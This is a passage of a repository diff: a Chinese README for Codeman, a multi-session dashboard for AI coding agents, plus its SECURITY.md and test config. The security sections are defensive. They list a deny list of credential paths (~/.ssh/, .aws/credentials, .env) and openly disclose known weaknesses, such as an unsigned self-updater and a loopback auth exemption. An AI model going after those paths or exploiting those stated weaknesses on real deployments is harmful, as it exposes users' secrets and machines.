+- **用量限额自动恢复**（*可选，默认关闭*）—— 当 Claude 因订阅用量限额而停止（"You've hit your limit · resets 3pm"）时，Codeman 会解析重置时间，等到限额刷新（外加 2 分钟安全缓冲）后自动关闭限额对话框并发送 `continue`，让通宵任务平稳跨过 5 小时窗口而不是停摆到早晨。可识别 Claude Code 各版本的全部限额消息格式；若仍受限会自动重试；计划在 Codeman 重启后依然生效；暂停期间会阻止重生循环，避免 `/clear` 清掉等待中的对话。在会话 Respawn 标签页顶部按会话启用
+- **熔断器** —— 当 Claude 卡住时防止重生抖动（CLOSED → HALF_OPEN → OPEN 状态，跟踪连续无进展与重复错误）
+- **健康评分** —— 0–100 健康分，分项涵盖循环成功率、熔断器状态、迭代进展与卡死恢复
+- **内置预设** —— `solo-work`（3s 空闲，60min）、`subagent-workflow`（45s，240min）、`team-lead`（90s，480min）、`ralph-todo`（8s，480min）、`overnight-autonomous`（10s，480min）
+
+---
+
+## 编排器循环（Orchestrator Loop）
+
+超越单会话重生，**编排器**把一个高层目标转化为分阶段计划，并跨多个智能体推动其完成 —— 这是一个运行 `idle → planning → approval → executing → verifying → (replanning) → completed` 的状态机。
+
+- **先规划，后执行** —— 从你的目标生成分阶段计划，并在动手前暂停等待审批；可带反馈拒绝以重新生成
+- **逐阶段验证关卡** —— 每个阶段在下一阶段开始前都会被验证；失败时编排器会重新规划而非一头扎下去
+- **多智能体执行** —— 将各阶段分发给团队智能体 / 任务队列，协调超出单会话能力的工作
+- **崩溃安全** —— 完整状态持久化在 `state.json` 的 `orchestrator` 键下，可在重启后存续
+- **可从 UI 或 API 驱动** —— 编排器面板，或 `POST /api/orchestrator/start` → `/approve` → `/status`（共 10 个端点）
+
+> 与 Ralph（单会话自主循环）不同：编排器协调多阶段、多智能体执行。完整设计：[`docs/orchestrator-loop-architecture.md`](docs/orchestrator-loop-architecture.md)。
+
+---
+
+## 多会话仪表盘
+
+运行 **20 个并行会话**且全程可见 —— 60fps 的实时 xterm.js 终端、按会话的 token 与成本跟踪、基于标签的导航，以及一键管理。
+
+<p align="center">
+  <img src="docs/screenshots/multi-session-dashboard.png" alt="多会话仪表盘" width="800">
+</p>
+
+### 持久化会话
+
+每个会话都运行在 **tmux** 内 —— 会话可在服务器重启、网络中断与机器休眠后存续。启动时自动恢复，具备双重冗余。幽灵会话发现机制能找到孤立的 tmux 会话。受管会话带有环境标签，因此智能体不会杀掉自己的会话。
+
+### 主机名感知的窗口标题
+
+在多台主机上运行 Codeman（笔记本、开发机、NAS）？浏览器标签标题是 `codeman:<主机名>`，让你无需点进去就能分辨每个标签对应哪个后端：
+
+```bash
+codeman web                                # codeman:<os.hostname()>
+codeman web --title-hostname dev-box       # codeman:dev-box（用于覆盖嘈杂的主机名）
+```
+
+标题在首字节时就被模板化进所提供的 HTML 中，因此从第一帧绘制起就是正确的，且无需 JavaScript 也能工作。同样的主机名前缀也应用于标签闪烁格式（`⚠️ (N) codeman:<host>`）和操作系统级桌面通知（`codeman:<host>: <事件>`），让系统通知中心里的跨主机提醒也不再含糊。
+
+### 智能 Token 管理
+
+| 阈值 | 动作 | 结果 |
+|-----------|--------|--------|
+| **110k tokens** | 自动 `/compact` | 上下文被摘要，工作继续 |
+| **140k tokens** | 自动 `/clear` | 以 `/init` 全新开始 |
+
+### 通知
+
+当会话需要关注时实时桌面提醒 —— `permission_prompt` 与 `elicitation_dialog` 触发关键的红色标签闪烁，`idle_prompt` 触发黄色闪烁。点击任意通知即可直接跳转到相关会话。Hook 按 case 目录自动配置。
+
+### Ralph / Todo 跟踪
+
+自动检测 Ralph 循环、`<promise>` 标签、TodoWrite 进度（`4/9 complete`）以及迭代计数器（`[5/50]`），并提供实时进度环与已用时间跟踪。
+
+<p align="center">
+  <img src="docs/images/ralph-tracker-8tasks-44percent.png" alt="Ralph 循环跟踪" width="800">
+</p>
+
+### 运行摘要（Run Summary）
+
+点击任意会话标签上的图表图标，即可看到所发生一切的时间线 —— 重生周期、token 里程碑、自动 compact 触发、空闲/工作切换、hook 事件、错误等等。
+
+### 零闪烁终端
+
+基于终端的 AI 智能体（Claude Code 的 Ink、OpenCode 的 Bubble Tea）会在每次状态变更时重绘屏幕。Codeman 实现了一套 6 层抗闪烁流水线，让所有会话都获得平滑的 60fps 输出：
+
+```
+PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端 rAF → xterm.js（60fps）
+```
+
+---
+
+## 更多特性
+
+- **自更新** —— systemd/launchd 管理下的 git-clone 安装可在 **App Settings → Updates** 中原地更新：它会检测最新发行版，自动暂存（stash）脏工作树，并在服务重启期间流式展示构建进度（npm 安装会被报告为不可更新）
+- **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode** 或 **Codex**；环境变量前缀自动隔离（`CLAUDE_CODE_*`、`OPENCODE_*` 与 `CODEX_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)
+- **Effort 与 Ultracode** —— 设置每会话的默认 effort（`low`–`max`），或启用 **ultracode**（动态多智能体工作流）。这些都只是软默认值 —— 会话中可随时用 `/effort` 切换。扩展思考预算也可配置
+- **语音输入** —— 用 Deepgram Nova-3 口述提示（带 Web Speech API 回退）：切换录音、自动静音停止、实时音量表（`Ctrl+Shift+V`）
+- **图像输入** —— 直接把图片粘贴或拖放进会话
+- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层，可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
+- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口，让浮动的智能体/手势面板可以跨越物理拼接缝
+- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
+- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀，使多主机配置不再含糊
+
+---
+
+## 远程访问 —— Cloudflare 隧道
+
+使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)，从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
+
+```
+浏览器（手机/平板）→ Cloudflare 边缘（HTTPS）→ cloudflared → localhost:3000
+```
+
+**前置条件：** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
+
+```bash
+# 快速开始
+./scripts/tunnel.sh start      # 启动隧道，打印公网 URL
+./scripts/tunnel.sh url        # 显示当前 URL
+./scripts/tunnel.sh stop       # 停止隧道
+./scripts/tunnel.sh status     # 服务状态 + URL
+```
+
+脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址，每次隧道重启都会改变。
+
+<details>
+<summary><strong>持久隧道（重启后存续）</strong></summary>
+
+```bash
+# 启用为持久服务
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# 或通过 Codeman Web UI：Settings → Tunnel → 切换为开
+```
+
+</details>
+
+<details>
+<summary><strong>认证</strong></summary>
+
+1. 首次请求 → 浏览器弹出 Basic Auth 提示（用户名：`admin` 或 `CODEMAN_USERNAME`）
+2. 成功后 → 服务端签发 `codeman_session` cookie（24 小时 TTL，活动时自动延长）
+3. 后续请求通过 cookie 静默认证
+4. 同一 IP 失败 10 次 → 429 速率限制（15 分钟衰减）
+
+通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
+
+</details>
+
+### 二维码认证
+
+在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码，手机即刻完成认证。无密码提示、无打字、无剪贴板。
+
+```
+桌面显示二维码  →  手机扫描  →  GET /q/Xk9mQ3  →  服务端校验
+→  令牌原子性消费（一次性）  →  签发会话 cookie  →  302 跳转到 /
+→  桌面收到通知：「设备已通过二维码认证」  →  自动生成新二维码
+```
+
+只拿到裸隧道 URL（没有二维码）的人，仍会撞上标准密码提示。二维码是快速通道；密码是回退方案。
+
+#### 工作原理
+
+服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥（`crypto.randomBytes(32)`）和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针，而非密钥本身，因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
+
+每 **60 秒**，服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**，以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的：手机一旦成功扫描，令牌就被原子性消费，并立即为桌面显示生成一个新的。
+
+#### 安全设计
+
+该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025），该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对：
+
+| USENIX 缺陷 | 缓解措施 |
+|-------------|------------|
+| **缺陷 1**：缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
+| **缺陷 2**：长生命周期令牌 | 60s TTL + 90s 宽限，由定时器自动轮换 |
+| **缺陷 3**：可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
+| **缺陷 4**：客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
+| **缺陷 5**：缺少状态通知 | 桌面提示：*「设备 [IP] 已通过二维码认证（Safari）。不是你？[吊销]」* —— 实时 QRLjacking 检测 |
+| **缺陷 6**：会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
+
+#### 时序安全的查找
+
+短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找，不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较，彻底消除了时序侧信道攻击。
+
+#### 速率限制（双层）
+
+二维码认证有自己的速率限制，与密码认证完全独立：
+
+- **按 IP**：同一 IP 失败 10 次二维码尝试即触发 429 封锁（15 分钟衰减窗口）—— 与 Basic Auth 的失败计数器分开，因此打错密码不会消耗你的二维码额度
+- **全局**：所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效，无论如何暴力破解都在计算上不可行
+
+#### 二维码尺寸优化
+
+URL 被刻意保持精简（`/q/` 路径 + 6 字符码 ≈ 53–56 个字符），以瞄准 **QR 版本 4**（33×33 模块）而非版本 5（37×37）。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节，仅此一项就足以决定二维码版本的差别。
+
+#### 桌面体验
+
+二维码显示每 60 秒通过 SSE 自动刷新，SVG 直接嵌入事件载荷（约 2–5KB）—— 无需额外 HTTP 请求，刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的（在你怀疑二维码被拍照时很有用）。
+
+当有人通过二维码认证时，桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你，一键即可吊销所有会话。
+
+#### 威胁覆盖
+
+| 威胁 | 为何无效 |
+|--------|-------------------|
+| **二维码截图被分享** | 一次性：首次扫描即消费。60s TTL：攻击者动手前已过期。桌面通知会立即提醒你。 |
+| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
+| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键，而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
+| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制，早在统计可行性之前就已拦截。 |
+| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
+| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
+| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
+
+#### 横向对比
+
+| 平台 | 模型 | 对比 |
+|----------|-------|------------|
+| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman：一次性 + TTL + 通知 |
+| **WhatsApp Web** | 手机确认「关联设备？」，约 60s 轮换 | 轮换相当；WhatsApp 额外加了显式确认（对单用户而言是可接受的取舍） |
+| **Signal** | 临时公钥、端到端加密信道 | 加密更强，但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |
+
+> 完整设计理由、安全分析与实现细节：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+---
+
+## 安全
+
+Codeman 用 `--dangerously-skip-permissions` 启动会话，因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固（v0.9.0 + v0.9.5）封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型：[`docs/security-architecture.md`](docs/security-architecture.md)。
+
+### 网络与访问
+
+- **默认仅环回** —— 绑定 `127.0.0.1`，仅可从本机访问，因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*，并给出三个具体修复方案（设置密码、环回 + 一个带认证的隧道，或用 `--allow-unauthenticated-network` 显式确认）
+- **可选认证，真实会话** —— 通过 `CODEMAN_USERNAME`（默认 `admin`）/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie（`randomBytes(32)`）—— 服务端校验，而非客户端签名，因此无法离线伪造（24h TTL、自动延长、设备上下文审计日志）
+- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`（15 分钟衰减）。即便攻击者在同一 IP 上猛攻，有效 cookie 或正确密码也能*立即*恢复 —— 这很重要，因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
+
+### 始终开启的浏览器加固（v0.9.5）
+
+以下对**每个**请求都生效 —— 在认证之前，即便是默认的无密码环回安装：
+
+- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许：`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道，以及 `CODEMAN_ALLOWED_HOSTS`（在此添加自定义反向代理域名 —— 逗号分隔；精确主机或前导点 `.suffix` 匹配子域名）
+- **跨站 Origin / CSRF 防护。** 对变更状态的方法（`POST`/`PUT`/`PATCH`/`DELETE`），`Origin` 必须通过同一允许列表，否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许（因此 `curl`、CLI 与 Claude Code hook 仍可工作）；只有存在但外来、或不透明的 `null` origin 才会被拒绝
+- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析，封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
+- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查，失败时以代码 `4003` 关闭（反 CSWSH）
+- **XSS 转义的智能体输出。** AI 衍生的字符串（工具名、命令参数、子智能体描述）在渲染进子智能体 / 活动面板前，于每个注入点都做 HTML 转义
+
+### 输入、文件与响应头
+
+- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查；一个 `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
+- **路径限定** —— 文件路由在边界检查前先 `realpath`（无 TOCTOU）；`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限：10 MB 文本预览 / 50 MB 原始与下载；`/api/download` 对敏感路径（`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`）做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供，因此会被下载而非执行
+- **安全响应头** —— `Content-Security-Policy`（`default-src 'self'`，每个例外都逐条列举）、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS，以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
+
+### 供应链与隔离
+
+- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本；每次提交/PR 都检查锁文件完整性（所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希）。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
+- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字（`-L codeman-<name>`）与数据目录（`~/.codeman-<name>`），因此两个实例绝不会互相附着对方的活动会话
+
+> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)（它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷）。
+
+---
+
+## SSH 替代方案（`sc`）
+
+如果你更喜欢 SSH（Termius、Blink 等），`sc` 命令是一个便于拇指操作的会话选择器：
+
+```bash
+sc              # 交互式选择器
+sc 2            # 快速附着到会话 2
+sc -l           # 列出会话
+```
+
+单数字选择（1–9）、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
+
+---
+
+## 键盘快捷键
+
+> Ctrl 绑定在 macOS 上也接受 Cmd。
+
+| 快捷键 | 动作 |
+|----------|--------|
+| `Ctrl/Cmd+W` | 杀掉当前会话 |
+| `Ctrl/Cmd+Tab` | 下一个会话 |
+| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
+| `Ctrl/Cmd+L` | 清屏 |
+| `Ctrl+Shift+R` | 恢复终端尺寸 |
+| `Ctrl+Shift+V` | 切换语音输入 |
+| `Ctrl/Cmd +` / `-` | 字体大小 |
+| `Ctrl/Cmd+?` | 键盘帮助 |
+| `Shift+Enter` | 插入换行（发送到终端） |
+| `Escape` | 关闭面板与模态框 |
+
+---
+
+## API
+
+基于 Fastify 的 REST —— **15 个路由模块中约 140 个处理器**，外加一条 SSE 流和一条 WebSocket 终端通道。以下是一个有代表性的子集：
+
+### 会话（Sessions）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/sessions` | 列出全部 |
+| `POST` | `/api/quick-start` | 创建 case 并启动会话 |
+| `DELETE` | `/api/sessions/:id` | 删除会话 |
+| `POST` | `/api/sessions/:id/input` | 发送输入 |
+
+### 重生（Respawn）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `POST` | `/api/sessions/:id/respawn/enable` | 启用，带配置与定时器 |
+| `POST` | `/api/sessions/:id/respawn/stop` | 停止控制器 |
+| `PUT` | `/api/sessions/:id/respawn/config` | 更新配置 |
+
+### Ralph / Todo
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/sessions/:id/ralph-state` | 获取循环状态 + todos |
+| `POST` | `/api/sessions/:id/ralph-config` | 配置跟踪 |
+
+### 编排器（Orchestrator）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `POST` | `/api/orchestrator/start` | 从目标启动编排 |
+| `POST` | `/api/orchestrator/approve` | 批准生成的计划 |
+| `GET` | `/api/orchestrator/status` | 当前阶段 + 进度 |
+| `POST` | `/api/orchestrator/stop` | 停止并清理 |
+
+### 子智能体（Subagents）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/subagents` | 列出所有后台智能体 |
+| `GET` | `/api/subagents/:id` | 智能体信息与状态 |
+| `GET` | `/api/subagents/:id/transcript` | 完整活动记录 |
+| `DELETE` | `/api/subagents/:id` | 杀掉智能体进程 |
+
+### 系统（System）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/events` | SSE 流 |
+| `GET` | `/api/status` | 完整应用状态 |
+| `POST` | `/api/hook-event` | Hook 回调 |
+| `GET` | `/api/system/update/check` | 检查新发行版 |
+| `POST` | `/api/system/update` | 自更新（git-clone 安装） |
+| `POST` | `/api/clipboard` | 把文本推送到所有已连接浏览器（`{text}`） |
+| `GET` | `/api/sessions/:id/run-summary` | 时间线 + 统计 |
+
+---
+
+## 架构
+
+```mermaid
+flowchart TB
+    subgraph Codeman["CODEMAN"]
+        subgraph Frontend["前端层"]
+            UI["Web UI<br/><small>xterm.js + 智能体窗口</small>"]
+            API["REST API<br/><small>Fastify</small>"]
+            SSE["SSE 事件<br/><small>/api/events</small>"]
+        end
+
+        subgraph Core["核心层"]
+            SM["会话管理器"]
+            S1["会话 (PTY)"]
+            S2["会话 (PTY)"]
+            RC["重生控制器"]
+            ORC["编排器循环"]
+        end
+
+        subgraph Detection["检测层"]
+            RT["Ralph 跟踪器"]
+            SW["子智能体监视器<br/><small>~/.claude/projects/*/subagents</small>"]
+            TW["团队监视器<br/><small>~/.claude/teams/*</small>"]
+        end
+
+        subgraph Persistence["持久化层"]
+            SCR["Mux 管理器<br/><small>(tmux)</small>"]
+            SS["状态存储<br/><small>state.json</small>"]
+        end
+
+        subgraph External["外部"]
+            CLI["AI CLI<br/><small>Claude Code / OpenCode / Codex</small>"]
+            BG["后台智能体<br/><small>(Task 工具)</small>"]
+        end
+    end
+
+    UI <--> API
+    API <--> SSE
+    API --> SM
+    SM --> S1
+    SM --> S2
+    SM --> RC
+    SM --> ORC
+    SM --> SS
+    S1 --> RT
+    S1 --> SCR
+    S2 --> SCR
+    RC --> SCR
+    ORC --> SCR
+    SCR --> CLI
+    SW --> BG
+    SW --> SSE
+    TW --> SSE
+```
+
+---
+
+## 开发
+
+```bash
+npm install
+npx tsx src/index.ts web    # 开发模式
+npm run build               # 生产构建
+npm test                    # 运行测试
+```
+
+完整文档见 [CLAUDE.md](./CLAUDE.md)。
+
+---
+
+## 代码库质量
+
+本代码库经历了一次全面的 7 阶段重构，消除了上帝对象、集中了配置，并建立了模块化架构：
+
+| 阶段 | 改了什么 | 影响 |
+|-------|-------------|--------|
+| **性能** | 缓存端点、SSE 自适应批处理、缓冲区分块 | 终端延迟低于 16ms |
+| **路由抽取** | `server.ts` 拆分为 15 个领域路由模块 + 认证中间件 + 端口接口 | server.ts 代码量 **−67%**（6,736 → 2,254） |
+| **领域拆分** | `types.ts` → 16 个领域文件、`ralph-tracker` → 7 个文件、`respawn-controller` → 5 个文件、`session` → 6 个文件 | 不再有上帝文件 |
+| **前端模块** | `app.js` → 18 个抽取模块，横跨基础设施、领域与特性层 | app.js 核心降至 **约 3.4K 行** |
+| **配置合并** | 约 70 个散落的魔法数字 → 10 个领域聚焦的配置文件 | 零跨文件重复 |
+| **测试基础设施** | 共享 mock 库、12 个路由测试文件、统一的 MockSession | 路由处理器可通过 `app.inject()` 测试 |
+
+完整细节：[`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
+
+---
+
+## 已发布的包
+
+### [`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input)
+
+[![npm](https://img.shields.io/npm/v/xterm-zerolag-input?style=flat-square&color=22c55e)](https://www.npmjs.com/package/xterm-zerolag-input)
+
+为 xterm.js 提供即时按键反馈的叠加层。通过把输入的字符立即渲染为像素级精准的 DOM 叠加层，消除高 RTT 连接下的感知输入延迟。零依赖、可配置的提示符检测、带 78 个测试的完整状态机。
+
+```bash
+npm install xterm-zerolag-input
+```
+
+[完整文档](packages/xterm-zerolag-input/README.md)
+
+---
+
+## 许可证
+
+MIT —— 见 [LICENSE](LICENSE)
+
+---
+
+<p align="center">
+  <strong>跟踪会话。可视化智能体。掌控重生。让它在你睡觉时持续运行。</strong>
+</p>

SECURITY.md

@@ -0,0 +1,78 @@
+# Security Policy
+
+Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
+web UI is **by design a remote-code-execution surface for whoever can reach it**.
+The entire security model exists to control *who* that is. Please read this before
+exposing an instance beyond `localhost`. The full model lives in
+[`docs/security-architecture.md`](docs/security-architecture.md).
+
+## Supported versions
+
+Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
+Older versions are not patched — upgrade to the latest release (App Settings →
+Updates for git-clone installs, or `npm i -g aicodeman@latest`).
+
+| Version | Supported |
+| ------- | --------- |
+| latest `0.9.x` / `master` | ✅ |
+| anything older | ❌ (upgrade) |
+
+## Reporting a vulnerability
+
+**Please do not open a public issue for security problems.**
+
+Report privately via **GitHub's private vulnerability reporting**:
+the repository's **Security** tab → **Report a vulnerability**
+(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
+advisory thread with the maintainer.
+
+> Maintainer note: enable *Settings → Code security and analysis → Private
+> vulnerability reporting* so this channel is live.
+
+When reporting, please include: affected version/commit, the deployment shape
+(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
+reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
+few days. Coordinated disclosure is appreciated — we'll agree a disclosure
+timeline with you once impact is confirmed.
+
+### In scope
+- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
+- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
+- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
+- Path traversal / arbitrary file read or write through the HTTP API
+- Supply-chain integrity of the in-app self-updater
+
+### Out of scope (by design — see Known limitations)
+- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
+- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
+- The default loopback + no-password posture itself (it is reachable only from the same machine).
+
+## Trust model (summary)
+
+- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
+- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
+- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
+- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
+
+## Known limitations and accepted risk
+
+A 1.0 release is an implicit statement that the documented model *is* the model, so
+these residuals are stated explicitly. Most sit **inside the same-uid OS trust
+boundary** or behind the always-on Origin guard; they matter mainly for
+shared-host, multi-user, or tunneled deployments.
+
+- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
+- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
+- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
+- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
+- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
+- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
+- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
+
+Recent hardening (this release): web-push subscription endpoints are restricted
+to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
+subscribe and send time), and tmux session names discovered on the shared socket
+are validated against the safe-name pattern before reaching any shell call site.
+
+For the detailed rationale, defenses, and recommended secure setups, see
+[`docs/security-architecture.md`](docs/security-architecture.md).

config/eslint.config.js

@@ -22,8 +22,7 @@ export default tseslint.config(
       'src/web/public/vendor/**',
       'src/web/public/app.js',
       'scripts/**/*.mjs',
-      'tools/**',
-      'remotion/**',
+      'scripts/remotion/**',
     ],
   }
 );

config/vitest.ci.config.ts

@@ -0,0 +1,33 @@
+import { resolve } from 'node:path';
+import { defineConfig, configDefaults } from 'vitest/config';
+
+const root = resolve(import.meta.dirname, '..');
+
+/**
+ * CI test config — same as vitest.config.ts but EXCLUDES the browser-driven
+ * mobile suite (test/mobile/**). Those are Playwright visual-regression tests
+ * that need a live server + chromium + environment-specific PNG baselines, so
+ * they are run/maintained separately and are not part of the CI gate.
+ *
+ * Keep the rest in sync with config/vitest.config.ts.
+ */
+export default defineConfig({
+  test: {
+    root,
+    globals: true,
+    environment: 'node',
+    include: ['test/**/*.test.ts'],
+    exclude: [
+      ...configDefaults.exclude,
+      'test/mobile/**', // browser/visual (Playwright + chromium)
+      'test/perf-*.test.ts', // timing-sensitive perf benchmarks (flaky in CI)
+      'test/inline-rename.test.ts', // browser (Playwright)
+      'test/opencode-resize.test.ts', // browser (Playwright)
+      'test/webgl-fallback.test.ts', // browser (Playwright)
+    ],
+    setupFiles: ['./test/setup.ts'],
+    fileParallelism: false,
